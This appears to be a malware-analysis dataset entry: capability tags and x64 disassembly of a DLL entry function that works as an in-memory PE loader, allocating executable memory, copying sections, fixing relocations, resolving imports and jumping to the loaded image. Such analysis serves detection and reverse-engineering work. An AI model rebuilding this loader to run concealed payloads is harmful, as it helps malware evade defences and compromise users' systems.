Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x88
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp edx, 1
jne 0x18000128a
mov qword [rsp + 0x60], r15
call fcn.1800012b0
mov qword [rsp + 0x48], rax
mov r15, rax
test rax, rax
jne 0x180001057
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180001570
mov rcx, rax
lea rdx, [0x180001720]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180001285
mov qword [rsp + 0x90], rbx
mov r9d, 0x40
mov qword [rsp + 0x98], rbp
mov r8d, 0x3000
movsxd rbp, dword [rax + 0x3c]
mov qword [rsp + 0xa0], rsi
add rbp, r15
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r13
mov edx, dword [rbp + 0x50]
mov rcx, qword [rbp + 0x30]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x54]
mov rdx, r15
mov r13, rax
mov rcx, rax
sub r13, qword [rbp + 0x30]
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [rbp + 0x14]
xor r14d, r14d
add rbx, 0x2c
mov edi, r14d
cmp r14w, word [rbp + 6]
jae 0x180001104
add rbx, rbp
nop dword [rax]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, r15
mov r8d, dword [rbx - 4]
add rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 6]
lea rbx, [rbx + 0x28]
inc rdi
cmp rdi, rax
jb 0x1800010e0
mov rax, qword [rbp + 0xb0]
mov r12d, eax
add r12, rsi
mov qword [rsp + 0x38], rax
shr rax, 0x20
mov qword [rsp + 0x30], r12
test eax, eax
je 0x1800011c8
mov ecx, 0x1000
nop dword [rax]
mov r15d, r14d
add r14d, 8
add r15, r12
mov edi, r14d
add rdi, r12
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1800011b3
mov ebp, eax
lea r14d, [r14 + rax*2]
xor r12d, r12d
movzx eax, word [rdi]
cmp ax, cx
jb 0x1800011a4
and eax, 0xfff
mov qword [rsp + 0x50], r12
add eax, dword [r15]
mov ebx, eax
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov ecx, 0x1000
add rax, r13
mov qword [rbx], rax
add rdi, 2
sub rbp, 1
jne 0x180001158
mov r12, qword [rsp + 0x30]
cmp r14d, dword [rsp + 0x3c]
jb 0x180001130
mov rbp, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
mov r14d, dword [rbp + 0x90]
mov r13, qword [rsp + 0x70]
add r14, 0xc
mov r12, qword [rsp + 0x78]
add r14, rsi
mov eax, dword [r14]
test eax, eax
je 0x180001244
nop word [rax + rax]
mov ecx, eax
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180001238
mov ebx, dword [r14 + 4]
add rbx, rsi
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001238
jns 0x180001219
movzx edx, cx
jmp 0x180001220
lea rdx, [rsi + 2]
add rdx, rcx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
add rbx, 8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x180001212
mov eax, dword [r14 + 0x14]
add r14, 0x14
test eax, eax
jne 0x1800011f0
mov eax, dword [rbp + 0x28]
add rax, rsi
call rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x60]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800017e0
add rsp, 0x88
ret